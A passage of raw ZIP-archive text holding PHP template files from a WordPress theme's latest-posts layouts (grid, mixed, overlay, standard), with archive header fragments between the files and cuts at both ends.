                    <div class="penci-post-box-meta<?php if ( 'yes' == $grid_share_box || 'yes' == $grid_comment ): echo ' center-inner'; endif; ?>">
						<?php if ( 'yes' != $grid_comment ) : ?>
                            <div class="penci-box-meta">
                                <span><a href="<?php comments_link(); ?> "><?php penci_fawesome_icon( 'far fa-comment' ); ?><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
                            </div>
						<?php endif; ?>
						<?php if ( 'yes' != $grid_share_box ) : ?>
                            <div class="penci-post-share-box">
								<?php echo penci_getPostLikeLink( get_the_ID() ); ?>
								<?php penci_soledad_social_share(); ?>
                            </div>
						<?php endif; ?>
                    </div>
				<?php endif; ?>
            </div>

			<?php if ( has_post_thumbnail() ) : ?>
                <div class="thumbnail thumb-right">
					<?php
					/* Display Review Piechart  */
					if ( function_exists( 'penci_display_piechart_review_html' ) ) {
						penci_display_piechart_review_html( get_the_ID() );
					}
					?>
					<?php if ( ! get_theme_mod( 'penci_disable_lazyload_layout' ) ) { ?>
                        <a class="penci-image-holder penci-lazy<?php echo penci_class_lightbox_enable(); ?>"
                           data-bgset="<?php echo penci_image_srcset( get_the_ID(), penci_featured_images_size_vcel( 'large', $penci_featimg_size, $thumb_bigsize ) ); ?>"
                           href="<?php penci_permalink_fix(); ?>" title="<?php echo wp_strip_all_tags(
							get_the_title() ); ?>">
                        </a>
					<?php } else { ?>
                        <a class="penci-image-holder<?php echo penci_class_lightbox_enable(); ?>"
                           style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), penci_featured_images_size_vcel( 'large', $penci_featimg_size, $thumb_bigsize ) ); ?>');"
                           href="<?php penci_permalink_fix(); ?>"
                           title="<?php echo
						   wp_strip_all_tags( get_the_title() ); ?>">
                        </a>
					<?php } ?>
                </div>
			<?php endif; ?>

        </article>
    </div>
<?php
if ( isset( $infeed_ads ) && $infeed_ads ) {
	penci_get_markup_infeed_ad(
		array(
			'wrapper'    => 'div',
			'classes'    => 'grid-style grid-mixed penci-infeed-data penci-infeed-vcele',
			'fullwidth'  => $infeed_full,
			'order_ad'   => $infeed_num,
			'order_post' => $n,
			'code'       => $infeed_ads,
			'echo'       => true
		)
	);
}
?>
<?php $n ++; ?>
PK     N\U2r    0  template-parts/latest-posts-sc/content-mixed.phpnu [        <?php
/**
 * Template loop for mixed style
 */
?>
<?php
$penci_featimg_size = isset( $penci_featimg_size ) ? $penci_featimg_size : '';
$penci_mixed_style = isset( $penci_mixed_style ) ? $penci_mixed_style : '';
/**
* Create var $j to count order posts
* If $j = 1, to show mixed post, $j > 1 to show grid post
*
* @since 1.0
*/
$k = 3;
if ( ! isset ( $j ) ) { $j = 1; } else { $j = $j; }
if( ( is_home() && ! penci_get_setting( 'penci_sidebar_home' ) ) || ( is_archive() && ! penci_get_setting( 'penci_sidebar_archive' ) ) || is_page_template( 'page-vc.php' ) || is_page_template( 'page-penci-full-width.php' ) ):
	$k = 4;
endif;

if( isset( $template ) && $template == 'no-sidebar' ) {
	$k = 4;
}

if( 's1' == $penci_mixed_style ) {
	$k = 4;
} elseif( 's2' == $penci_mixed_style ) {
	$k = 3;
}

if ( ( $j % $k ) == 1 ) {
	include( locate_template( 'template-parts/latest-posts-sc/content-mixed-post.php' ) );
}
else {
	include( locate_template( 'template-parts/latest-posts-sc/content-grid.php' ) );
}

$j++;
?>PK     N\=  =  7  template-parts/latest-posts-sc/content-classic-list.phpnu [        <?php
/**
 * Template loop for 1st standard then grid
 */


/**
 * Create var $j to count order posts
 * If $j = 1, to show standard post, $j > 1 to show grid post
 *
 * @since 1.0
 */
if ( ! isset ( $j ) ) { $j = 1; } else { $j = $j; }

if ( $j == 1 ) {
	//include( locate_template( 'template-parts/latest-posts-sc/content-boxed-1.php' ) );get_template_part( 'content', 'classic' );
	include( locate_template( 'template-parts/latest-posts-sc/content-classic.php' ) );
}
else {
	include( locate_template( 'template-parts/latest-posts-sc/content-list.php' ) );
}

$j++;
?>

PK     N\q    2  template-parts/latest-posts-sc/content-overlay.phpnu [        <?php
/**
 * Template loop for overlay style
 */
if ( ! isset ( $n ) ) {
	$n = 1;
} else {
	$n = $n;
}
$thumbbsize         = 'penci-full-thumb';
$penci_featimg_size = isset( $penci_featimg_size ) ? $penci_featimg_size : '';
if ( 'custom' == $penci_featimg_size ) {
	$thumb_bigsize = isset( $thumb_bigsize ) ? $thumb_bigsize : '';
	if ( $thumb_bigsize ) {
		$thumbbsize = $thumb_bigsize;
	}
}
$heading_title_tag = $grid_title_tag ? $grid_title_tag : 'h2';
$heading_title_tag_class = 'h2' == $heading_title_tag ? 'penci_grid_title_df' : 'penci_grid_title';
?>
<section class="grid-style grid-overlay">
    <article id="post-<?php the_ID(); ?>" class="item overlay-layout hentry">
        <div class="penci-overlay-over">
            <div class="thumbnail">
				<?php
				do_action( 'penci_bookmark_post' );
				/* Display Review Piechart  */
				if ( function_exists( 'penci_display_piechart_review_html' ) ) {
					penci_display_piechart_review_html( get_the_ID() );
				}
				?>
				<?php if ( ! get_theme_mod( 'penci_disable_lazyload_layout' ) ) { ?>
                    <a class="penci-image-holder penci-lazy"
                       data-bgset="<?php echo penci_image_srcset( get_the_ID(), $thumbbsize ); ?>"
                       href="<?php the_permalink(); ?>" aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                       title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
                    </a>
				<?php } else { ?>
                    <a class="penci-image-holder"
                       style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $thumbbsize ); ?>');"
                       href="<?php the_permalink(); ?>" aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                       title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
                    </a>
				<?php } ?>
            </div>

            <a aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>" class="overlay-border"
               href="<?php the_permalink() ?>"></a>

            <div class="overlay-header-box">
				<?php if ( 'yes' != $grid_cat ) : ?>
                    <span class="cat"><?php penci_category( '' ); ?></span>
				<?php endif; ?>

                <<?php echo $heading_title_tag;?> class="penci-entry-title entry-title overlay-title <?php echo $heading_title_tag_class;?>"><a
                            href="<?php the_permalink(); ?>"><?php penci_trim_post_title( get_the_ID(), $grid_title_length ); ?></a>
                </<?php echo $heading_title_tag;?>>
				<?php do_action( 'penci_after_post_title' ); ?>
				<?php penci_soledad_meta_schema(); ?>
				<?php if ( 'yes' != $grid_author ) : ?>
                    <div class="penci-meta-author overlay-author byline"><span
                                class="author-italic author vcard"><?php echo penci_get_setting( 'penci_trans_written_by' ); ?> <?php if ( function_exists( 'coauthors_posts_links' ) ) :
								penci_coauthors_posts_links();
							else: ?>
                                <a class="author-url url fn n"
                                   href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a>
							<?php endif; ?></span>
                    </div>
				<?php endif; ?>
            </div>
        </div>

		<?php if ( ( isset( $custom_meta_key ) && $custom_meta_key['validator'] ) || 'yes' != $grid_date || 'yes' != $grid_comment || 'yes' != $grid_share_box || 'yes' == $grid_viewscount || penci_isshow_reading_time( $grid_readtime ) ) : ?>
            <div class="penci-post-box-meta grid-post-box-meta overlay-post-box-meta">
				<?php if ( 'yes' != $grid_date ) : ?>
                    <div class="overlay-share overlay-style-date"><?php penci_fawesome_icon( 'far fa-clock' ); ?><?php penci_soledad_time_link(); ?></div>
				<?php endif; ?>
				<?php if ( 'yes' != $grid_comment ) : ?>
                    <div class="overlay-share overlay-style-comment"><a
                                href="<?php comments_link(); ?> "><?php penci_fawesome_icon( 'far fa-comment' ); ?><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a>
                    </div>
				<?php endif; ?>
				<?php
				if ( 'yes' == $grid_viewscount ) {
					echo '<span>';
					echo penci_get_post_views( get_the_ID() );
					echo ' ' . penci_get_setting( 'penci_trans_countviews' );
					echo '</span>';
				}
				?>
				<?php if ( isset( $custom_meta_key ) ) {
					echo penci_show_custom_meta_fields( $custom_meta_key );
				} ?>
				<?php if ( penci_isshow_reading_time( $grid_readtime ) ): ?>
                    <div class="overlay-share overlay-style-readtime"><?php penci_reading_time(); ?></div>
				<?php endif; ?>
				<?php if ( 'yes' != $grid_share_box ) : ?>
                    <div class="penci-post-share-box">
						<?php echo penci_getPostLikeLink( get_the_ID() ); ?>
						<?php penci_soledad_social_share(); ?>
                    </div>
				<?php endif; ?>
            </div>
		<?php endif; ?>

    </article>
</section>
<?php
if ( isset( $infeed_ads ) && $infeed_ads ) {
	penci_get_markup_infeed_ad(
		array(
			'wrapper'    => 'section',
			'classes'    => 'grid-style grid-overlay penci-infeed-data penci-infeed-vcele',
			'fullwidth'  => $infeed_full,
			'order_ad'   => $infeed_num,
			'order_post' => $n,
			'code'       => $infeed_ads,
			'echo'       => true
		)
	);
}
?>
<?php $n ++; ?>
PK     N\S    :  template-parts/latest-posts-sc/content-standard-grid-2.phpnu [        <?php
/**
 * Template loop for 1st standard then grid 2
 */


/**
 * Create var $j to count order posts
 * If $j = 1, to show standard post, $j > 1 to show grid post
 *
 * @since 1.0
 */
if ( ! isset ( $j ) ) { $j = 1; } else { $j = $j; }

if ( $j == 1 ) {
	include( locate_template( 'template-parts/latest-posts-sc/content-standard.php' ) );
}
else {
	include( locate_template( 'template-parts/latest-posts-sc/content-grid-2.php' ) );
}

$j++;
?>

PK     N\mE  E  3  template-parts/latest-posts-sc/content-standard.phpnu [        <?php
/**
 * Content standard homepage, archive page
 *
 * @since 1.0
 */
if ( ! isset( $n ) ) {
	$n = 1;
} else {
	$n = $n;
}
$post_id = get_the_ID();
$block_style = get_theme_mod( 'penci_blockquote_style' ) ? get_theme_mod( 'penci_blockquote_style' ) : 'style-1';
$heading_style = penci_get_heading_style();

$post_class     = get_post_class( '', get_the_ID() );
$standard_class = 'standard-article standard-pitem ' . esc_attr( implode( ' ', $post_class ) );

$heading_title_tag = $standard_title_tag ? $standard_title_tag : 'h2';
$heading_title_tag_class = 'h2' == $heading_title_tag ? 'pc_titlebig_standard_df' : 'pc_titlebig_standard';

$thumb_alt = $thumb_title_html = '';
if ( has_post_thumbnail() ) {
	$thumb_id         = get_post_thumbnail_id( get_the_ID() );
	$thumb_alt        = penci_get_image_alt( $thumb_id, get_the_ID() );
	$thumb_title_html = penci_get_image_title( $thumb_id );
}
$standard_cat_move = 'yes' != $standard_cat ? $standard_cat_move : false;
$standard_cat = $standard_cat_move ? 'yes' : $standard_cat;
?>
<article id="post-<?php the_ID(); ?>" class="<?php echo $standard_class; ?>">

	<?php if ( 'yes' != $atts['standard_thumbnail'] ) : ?>

		<?php if ( penci_get_post_format( 'link' ) || penci_get_post_format( 'quote' ) ) : ?>
            <div class="standard-post-image standard-post-special
			<?php
			if ( penci_get_post_format( 'quote' ) ) :
				?>
				penci-special-format-quote<?php endif; ?>
											<?php
			if ( ! has_post_thumbnail() || 'yes' == $atts['standard_thumbnail'] ) :
				echo ' no-thumbnail';
			endif;
			?>
">
				<?php if ( has_post_thumbnail() && 'yes' != $atts['standard_thumbnail'] ) : ?>
					<?php if ( ! get_theme_mod( 'penci_disable_lazyload_layout' ) ) { ?>
                        <a
							<?php
							if ( 'yes' == $standard_thumb_crop ) :
								?>
                                class="penci-image-holder penci-lazy" data-src="<?php echo penci_get_featured_image_size( get_the_ID(), 'penci-full-thumb' ); ?>"<?php endif; ?>
                                href="<?php the_permalink(); ?>">
							<?php
							if ( 'yes' != $standard_thumb_crop ) :
								?>
                                <img
                                class="attachment-penci-full-thumb size-penci-full-thumb penci-lazy wp-post-image"
                                width="<?php penci_get_image_data_based_post_id( get_the_ID(), 'penci-full-thumb', 'w' ); ?>"
                                height="<?php penci_get_image_data_based_post_id( get_the_ID(), 'penci-full-thumb', 'h' ); ?>"
                                src="<?php echo penci_holder_image_base( penci_get_image_data_based_post_id( get_the_ID(), 'penci-full-thumb', 'w', false ), penci_get_image_data_based_post_id( get_the_ID(), 'penci-full-thumb', 'h', false ) ); ?>" alt="<?php echo $thumb_alt; ?>"<?php echo $thumb_title_html; ?>
                                data-src="<?php echo penci_get_featured_image_size( get_the_ID(), 'penci-full-thumb' ); ?>"><?php endif; ?>
                        </a>
					<?php } else { ?>
                        <a
							<?php
							if ( 'yes' == $standard_thumb_crop ) :
								?>
                                class="penci-image-holder" style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), 'penci-full-thumb' ); ?>');"<?php endif; ?>
                                href="<?php the_permalink(); ?>">
							<?php
							if ( 'yes' != $standard_thumb_crop ) :
								?>
								<?php the_post_thumbnail( 'penci-full-thumb' ); ?><?php endif; ?>
                        </a>
					<?php } ?>
				<?php endif; ?>
                <div class="standard-content-special">
					<?php
					if ( penci_get_post_format( 'quote' ) ) :
					?>
                    <a href="<?php the_permalink(); ?>"><?php endif; ?>
                        <div class="format-post-box
						<?php
						if ( penci_get_post_format( 'quote' ) ) {
							echo ' penci-format-quote';
						} else {
							echo ' penci-format-link';
						}
						?>
						">
                            <span class="post-format-icon"><?php penci_fawesome_icon( 'fa fa-' . ( penci_get_post_format( 'quote' ) ? 'quote-left' : 'link' ) ); ?></span>
                            <p class="dt-special">
								<?php
								if ( penci_get_post_format( 'quote' ) ) {
									$dt_content = get_post_meta( get_the_ID(), '_format_quote_source_name', true );
									if ( ! empty( $dt_content ) ) :
										echo sanitize_text_field( $dt_content );
									endif;
								} else {
									$dt_content = get_post_meta( get_the_ID(), '_format_link_url', true );
									if ( ! empty( $dt_content ) ) :
										echo '<a href="' . esc_url( get_permalink() ) . '">' . sanitize_text_field( $dt_content ) . '</a>';
									endif;
								}
								?>
                            </p>
							<?php
							if ( penci_get_post_format( 'quote' ) ) :
								$quote_author = get_post_meta( get_the_ID(), '_format_quote_source_url', true );
								if ( ! empty( $quote_author ) ) :
									echo '<div class="author-quote"><span>' . sanitize_text_field( $quote_author ) . '</span></div>';
								endif;
							endif;
							?>
                        </div>
						<?php
						if ( penci_get_post_format( 'quote' ) ) :
						?>
                    </a><?php endif; ?>
                </div>
            </div>

		<?php elseif ( penci_get_post_format( 'gallery' ) ) : ?>

			<?php $images = get_post_meta( get_the_ID(), '_format_gallery_images', true ); ?>

			<?php
			if ( $images ) :
				$autoplay = 'yes' != $atts['std_dis_at_gallery'] ? 'true' : 'false';
				?>
                <div class="standard-post-image">
					<?php do_action( 'penci_bookmark_post' ); ?>
                    <div class="swiper penci-owl-carousel penci-owl-carousel-slider penci-nav-visible"
                         data-auto="<?php echo $autoplay; ?>">
                        <div class="swiper-wrapper">
							<?php foreach ( $images as $image ) : ?>
                                <div class="swiper-slide swiper-mark-item">

									<?php $the_image = wp_get_attachment_image_src( $image, 'penci-full-thumb' ); ?>
									<?php
									$the_caption      = get_post_field( 'post_excerpt', $image );
									$image_alt        = penci_get_image_alt( $image, get_the_ID() );
									$image_title_html = penci_get_image_title( $image );
									?>
                                    <figure class="penci-swiper-mask item-link-relative penci-gallery-images"
                                            alt="<?php the_title(); ?>"
										<?php
										if ( $the_caption ) :
											?>
                                            title="<?php echo esc_attr( $the_caption ); ?>"<?php endif; ?>>
										<?php echo penci_get_ratio_img_format_gallery( $the_image ); ?>
                                        <img src="<?php echo esc_url( $the_image[0] ); ?>"
                                             width="<?php echo $the_image[1]; ?>"
                                             height="<?php echo $the_image[2]; ?>"
                                             alt="<?php echo $image_alt; ?>"<?php echo $image_title_html; ?>>
                                    </figure>
                                </div>

							<?php endforeach; ?>
                        </div>
                    </div>
                </div>
			<?php endif; ?>

		<?php elseif ( penci_get_post_format( 'video' ) ) : ?>

            <div class="standard-post-image video-post">
				<?php $penci_video = get_post_meta( get_the_ID(), '_format_video_embed', true ); ?>
				<?php if ( wp_oembed_get( $penci_video ) ) : ?>
					<?php echo wp_oembed_get( $penci_video ); ?>
				<?php else : ?>
					<?php echo $penci_video; ?>
				<?php endif; ?>
            </div>

		<?php elseif ( penci_get_post_format( 'audio' ) ) : ?>

            <div class="standard-post-image audio
			<?php
			if ( ! has_post_thumbnail() ) :
				echo ' no-thumbnail';
			endif;
			?>
			">
				<?php if ( has_post_thumbnail() ) : ?>
					<?php if ( ! get_theme_mod( 'penci_disable_lazyload_layout' ) ) { ?>
                        <a
							<?php
							if ( 'yes' == $standard_thumb_crop ) :
								?>
                                class="penci-image-holder penci-lazy" data-src="<?php echo penci_get_featured_image_size( get_the_ID(), 'penci-full-thumb' ); ?>"<?php endif; ?>
                                href="<?php the_permalink(); ?>">
							<?php
							if ( 'yes' != $standard_thumb_crop ) :
								?>
                                <img
                                class="attachment-penci-full-thumb size-penci-full-thumb penci-lazy wp-post-image"
                                width="<?php penci_get_image_data_based_post_id( get_the_ID(), 'penci-full-thumb', 'w' ); ?>"
                                height="<?php penci_get_image_data_based_post_id( get_the_ID(), 'penci-full-thumb', 'h' ); ?>"
                                src="<?php echo penci_holder_image_base( penci_get_image_data_based_post_id( get_the_ID(), 'penci-full-thumb', 'w', false ), penci_get_image_data_based_post_id( get_the_ID(), 'penci-full-thumb', 'h', false ) ); ?>" alt="<?php echo $thumb_alt; ?>"<?php echo $thumb_title_html; ?>
                                data-src="<?php echo penci_get_featured_image_size( get_the_ID(), 'penci-full-thumb' ); ?>"><?php endif; ?>
                        </a>
					<?php } else { ?>
                        <a
							<?php
							if ( 'yes' == $standard_thumb_crop ) :
								?>
                                class="penci-image-holder" style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), 'penci-full-thumb' ); ?>');"<?php endif; ?>
                                href="<?php the_permalink(); ?>">
							<?php
							if ( 'yes' != $standard_thumb_crop ) :
								?>
								<?php the_post_thumbnail( 'penci-full-thumb' ); ?><?php endif; ?>
                        </a>
					<?php } ?>
				<?php endif; ?>
                <div class="audio-iframe">
					<?php
					$penci_audio     = get_post_meta( get_the_ID(), '_format_audio_embed', true );
					$penci_audio_str = substr( $penci_audio, - 4 );
					?>
					<?php if ( wp_oembed_get( $penci_audio ) ) : ?>
						<?php echo wp_oembed_get( $penci_audio ); ?>
					<?php elseif ( $penci_audio_str == '.mp3' ) : ?>
						<?php echo do_shortcode( '[audio src="' . esc_url( $penci_audio ) . '"]' ); ?>
					<?php else : ?>
						<?php echo $penci_audio; ?>
					<?php endif; ?>
                </div>
            </div>

		<?php else : ?>

			<?php if ( has_post_thumbnail() ) : ?>
                <div class="standard-post-image">
					<?php do_action( 'penci_bookmark_post' ); ?>
					<?php if ( ! get_theme_mod( 'penci_disable_lazyload_layout' ) ) { ?>
                        <a
							<?php
							if ( 'yes' == $standard_thumb_crop ) :
								?>
                                class="penci-image-holder penci-lazy" data-src="<?php echo penci_get_featured_image_size( get_the_ID(), 'penci-full-thumb' ); ?>"<?php endif; ?>
                                href="<?php the_permalink(); ?>">
							<?php
							if ( 'yes' != $standard_thumb_crop ) :
								?>
                                <img
                                class="attachment-penci-full-thumb size-penci-full-thumb penci-lazy wp-post-image"
                                width="<?php penci_get_image_data_based_post_id( get_the_ID(), 'penci-full-thumb', 'w' ); ?>"
                                height="<?php penci_get_image_data_based_post_id( get_the_ID(), 'penci-full-thumb', 'h' ); ?>"
                                src="<?php echo penci_holder_image_base( penci_get_image_data_based_post_id( get_the_ID(), 'penci-full-thumb', 'w', false ), penci_get_image_data_based_post_id( get_the_ID(), 'penci-full-thumb', 'h', false ) ); ?>" alt="<?php echo $thumb_alt; ?>"<?php echo $thumb_title_html; ?>
                                data-src="<?php echo penci_get_featured_image_size( get_the_ID(), 'penci-full-thumb' ); ?>"><?php endif; ?>
                        </a>
					<?php } else { ?>
                        <a
							<?php
							if ( 'yes' == $standard_thumb_crop ) :
								?>
                                class="penci-image-holder" style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), 'penci-full-thumb' ); ?>');"<?php endif; ?>
                                href="<?php the_permalink(); ?>">
							<?php
							if ( 'yes' != $standard_thumb_crop ) :
								?>
								<?php the_post_thumbnail( 'penci-full-thumb' ); ?><?php endif; ?>
                        </a>
					<?php } ?>
                </div>
			<?php endif; ?>

		<?php endif; /* End Thumbnail */ ?>
	<?php endif; ?>

    <div class="header-standard
	<?php
	if ( 'yes' == $atts['standard_meta_overlay'] ) :
		echo ' standard-overlay-meta';
	endif;
	?>
	">
		<?php if ( 'yes' != $standard_cat ) : ?>
            <div class="penci-standard-cat"><span class="cat"><?php penci_category( '' ); ?></span></div>
		<?php endif; ?>

        <<?php echo $heading_title_tag;?> class="penci-entry-title entry-title entry-title <?php echo $heading_title_tag_class;?>"><a
                    href="<?php the_permalink(); ?>"><?php penci_trim_post_title( get_the_ID(), $standard_title_length ); ?></a>
        </<?php echo $heading_title_tag;?>>
		<?php do_action( 'penci_after_post_title' ); ?>
		<?php penci_soledad_meta_schema(); ?>
		<?php if ( ( isset( $custom_meta_key ) && $custom_meta_key['validator'] ) || 'yes' != $standard_author || penci_isshow_reading_time( $standard_readtime ) ) : ?>
            <div class="standard-top-meta penci-meta-author author-post byline">
				<?php do_action( 'penci_before_classic_post_meta_el' ); ?>
				<?php if ( $standard_cat_move ) : ?>
					<span class="penci-standard-cat-inline cat"><?php penci_category( '' ); ?></span>
				<?php endif; ?>
				<?php if ( 'yes' != $standard_author ) : ?>
                    <span class="author vcard"><?php echo penci_get_setting( 'penci_trans_written_by' ); ?> <?php
						if ( function_exists( 'coauthors_posts_links' ) ) :
							penci_coauthors_posts_links();
						else :
							?>
                            <a class="author-url url fn n"
                               href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a>
						<?php endif; ?></span>

				<?php endif; ?>
				<?php if ( penci_isshow_reading_time( $standard_readtime ) ) : ?>
                    <span class="penci-readtime"><?php penci_reading_time(); ?></span>
				<?php endif; ?>
				<?php
				if ( isset( $custom_meta_key ) ) {
					echo penci_show_custom_meta_fields( $custom_meta_key );
				}
				?>
            </div>
		<?php endif; ?>
    </div>

    <div class="standard-content">
		<?php if ( 'yes' != $standard_remove_excerpt ) { ?>
            <div class="standard-main-content entry-content">
                <div class="post-entry standard-post-entry classic-post-entry <?php echo $heading_style; ?> <?php echo 'blockquote-' . $block_style; ?>">
					<?php if ( 'yes' == $standard_auto_excerpt ) { ?>
						<?php penci_the_excerpt( $standard_excerpt_length, $post_id ); ?>
                        <div class="penci-more-link
						<?php
						if ( 'yes' == $atts['std_continue_btn'] ) :
							echo ' penci-more-link-button';
						endif;
						?>
						">
                            <a href="<?php the_permalink(); ?>"
                               class="more-link"><?php echo penci_get_setting( 'penci_trans_continue_reading' ); ?></a>
                        </div>
					<?php } else { ?>
						<?php the_content( penci_get_setting( 'penci_trans_continue_reading' ) ); ?>
						<?php wp_link_pages(); ?>
					<?php } ?>
                </div>
            </div>
		<?php } ?>

		<?php if ( 'yes' != $standard_share_box || 'yes' != $standard_date || 'yes' != $standard_comment || 'yes' == $standard_viewscount ) : ?>
            <div class="penci-post-box-meta
			<?php
			if ( 'yes' == $standard_share_box || ( 'yes' == $standard_date && 'yes' == $standard_comment && 'yes' != $standard_viewscount ) ) :
				echo ' center-inner';
			endif;
			?>
			">
				<?php if ( 'yes' != $standard_date || 'yes' != $standard_comment || 'yes' == $standard_comment ) : ?>
                    <div class="penci-box-meta">
						<?php if ( 'yes' != $standard_date ) : ?>
                            <span><?php penci_fawesome_icon( 'far fa-clock' ); ?><?php penci_soledad_time_link(); ?></span>
						<?php endif; ?>
						<?php if ( 'yes' != $standard_comment ) : ?>
                            <span><a href="<?php comments_link(); ?> "><?php penci_fawesome_icon( 'far fa-comment' ); ?><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
						<?php endif; ?>
						<?php
						if ( 'yes' == $standard_viewscount ) {
							echo '<span>';
							echo penci_get_post_views( get_the_ID() );
							echo ' ' . penci_get_setting( 'penci_trans_countviews' );
							echo '</span>';
						}
						?>
                    </div>
				<?php endif; ?>
				<?php if ( 'yes' != $standard_share_box ) : ?>
                    <div class="penci-post-share-box">
						<?php echo penci_getPostLikeLink( get_the_ID() ); ?>
						<?php penci_soledad_social_share(); ?>
                    </div>
				<?php endif; ?>
            </div>
		<?php endif; ?>
    </div>

</article>
<?php
if ( isset( $infeed_ads ) && $infeed_ads ) {
	penci_get_markup_infeed_ad(
		array(
			'wrapper'    => 'article',
			'classes'    => 'standard-article standard-pitem post penci-infeed-data penci-infeed-vcele',
			'fullwidth'  => $infeed_full,
			'order_ad'   => $infeed_num,
			'order_post' => $n,
			'code'       => $infeed_ads,
			'echo'       => true,
		)
	);
}
?>
<?php ++ $n; ?>
PK     N\4:E  E  ;  template-parts/latest-posts-sc/content-standard-boxed-1.phpnu [        <?php
/**
 * Template loop for 1st standard then boxed 1
 */


/**
 * Create var $j to count order posts
 * If $j = 1, to show standard post, $j > 1 to show grid post
 *
 * @since 1.0
 */
if ( ! isset ( $j ) ) { $j = 1; } else { $j = $j; }

if ( $j == 1 ) {
	//include( locate_template( 'template-parts/latest-posts-sc/content-boxed-1.php' ) );get_template_part( 'content', 'standard' );
	include( locate_template( 'template-parts/latest-posts-sc/content-standard.php' ) );
}
else {
	include( locate_template( 'template-parts/latest-posts-sc/content-boxed-1.php' ) );
}

$j++;
?>

PK     N\%  %  1  template-parts/latest-posts-sc/content-grid-2.phpnu [        <?php
/**
 * Template loop for gird 2 style
 */
if ( ! isset ( $n ) ) {
	$n = 1;
} else {
	$n = $n;
}
$penci_featimg_size = isset( $penci_featimg_size ) ? $penci_featimg_size : '';
$thumb_size         = isset( $thumb_size ) ? $thumb_size : '';
$post_id = get_the_ID();
$heading_title_tag = $grid_title_tag ? $grid_title_tag : 'h2';
$heading_title_tag_class = 'h2' == $heading_title_tag ? 'penci_grid_title_df' : 'penci_grid_title';
$grid_cat_move = 'yes' != $grid_cat ? $grid_cat_move : false;
$grid_cat = $grid_cat_move ? 'yes' : $grid_cat;
?>
<li class="grid-style grid-2-style<?php if ( 'yes' == $grid_meta_overlay ): echo ' grid-overlay-meta'; endif; ?>">
    <article id="post-<?php the_ID(); ?>" class="item hentry">
		<?php if ( penci_get_post_format( 'gallery' ) ) : ?>
			<?php $images = get_post_meta( get_the_ID(), '_format_gallery_images', true ); ?>
			<?php if ( $images ) : ?>
                <div class="thumbnail">
					<?php do_action( 'penci_bookmark_post' ); ?>
                    <div class="swiper penci-owl-carousel penci-owl-carousel-slider penci-nav-visible" data-auto="true">
                        <div class="swiper-wrapper">
							<?php foreach ( $images as $image ) : ?>
                                <div class="swiper-slide swiper-mark-item">

									<?php $the_image = wp_get_attachment_image_src( $image, penci_featured_images_size_vcel( 'normal', $penci_featimg_size, $thumb_size ) ); ?>
									<?php $the_caption = get_post_field( 'post_excerpt', $image ); ?>

									<?php if ( ! get_theme_mod( 'penci_disable_lazyload_layout' ) ) { ?>
                                        <figure class="penci-swiper-mask penci-image-holder penci-lazy" <?php if ( $the_caption ) : ?> title="<?php echo esc_attr( $the_caption ); ?>"<?php endif; ?>
                                                data-bgset="<?php echo esc_url( $the_image[0] ); ?>">
                                        </figure>
									<?php } else { ?>
                                        <figure class="penci-swiper-mask penci-image-holder" <?php if ( $the_caption ) : ?> title="<?php echo esc_attr( $the_caption ); ?>"<?php endif; ?>
                                                style="background-image: url('<?php echo esc_url( $the_image[0] ); ?>');">
                                        </figure>
									<?php } ?>
                                </div>

							<?php endforeach; ?>
                        </div>
                    </div>
                </div>
			<?php endif; ?>

		<?php elseif ( has_post_thumbnail() ) : ?>
            <div class="thumbnail">
				<?php
				do_action( 'penci_bookmark_post' );
				/* Display Review Piechart  */
				if ( function_exists( 'penci_display_piechart_review_html' ) ) {
					penci_display_piechart_review_html( get_the_ID() );
				}
				?>
				<?php if ( ! get_theme_mod( 'penci_disable_lazyload_layout' ) ) { ?>
                    <a class="penci-image-holder penci-lazy<?php echo penci_class_lightbox_enable(); ?>"
                       data-bgset="<?php echo penci_image_srcset( get_the_ID(), penci_featured_images_size_vcel( 'normal', $penci_featimg_size, $thumb_size ) ); ?>"
                       href="<?php penci_permalink_fix(); ?>" title="<?php echo
					wp_strip_all_tags( get_the_title
					() ); ?>">
                    </a>
				<?php } else { ?>
                    <a class="penci-image-holder<?php echo penci_class_lightbox_enable(); ?>"
                       style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), penci_featured_images_size_vcel( 'normal', $penci_featimg_size, $thumb_size ) ); ?>');"
                       href="<?php penci_permalink_fix(); ?>"
                       title="<?php echo wp_strip_all_tags(
						   get_the_title() ); ?>">
                    </a>
				<?php } ?>

				<?php if ( 'yes' != $grid_icon_format ): ?>
					<?php if ( has_post_format( 'video' ) ) : ?>
                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-play' ); ?></a>
					<?php endif; ?>
					<?php if ( has_post_format( 'gallery' ) ) : ?>
                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'far fa-image' ); ?></a>
					<?php endif; ?>
					<?php if ( has_post_format( 'audio' ) ) : ?>
                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-music' ); ?></a>
					<?php endif; ?>
					<?php if ( has_post_format( 'link' ) ) : ?>
                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-link' ); ?></a>
					<?php endif; ?>
					<?php if ( has_post_format( 'quote' ) ) : ?>
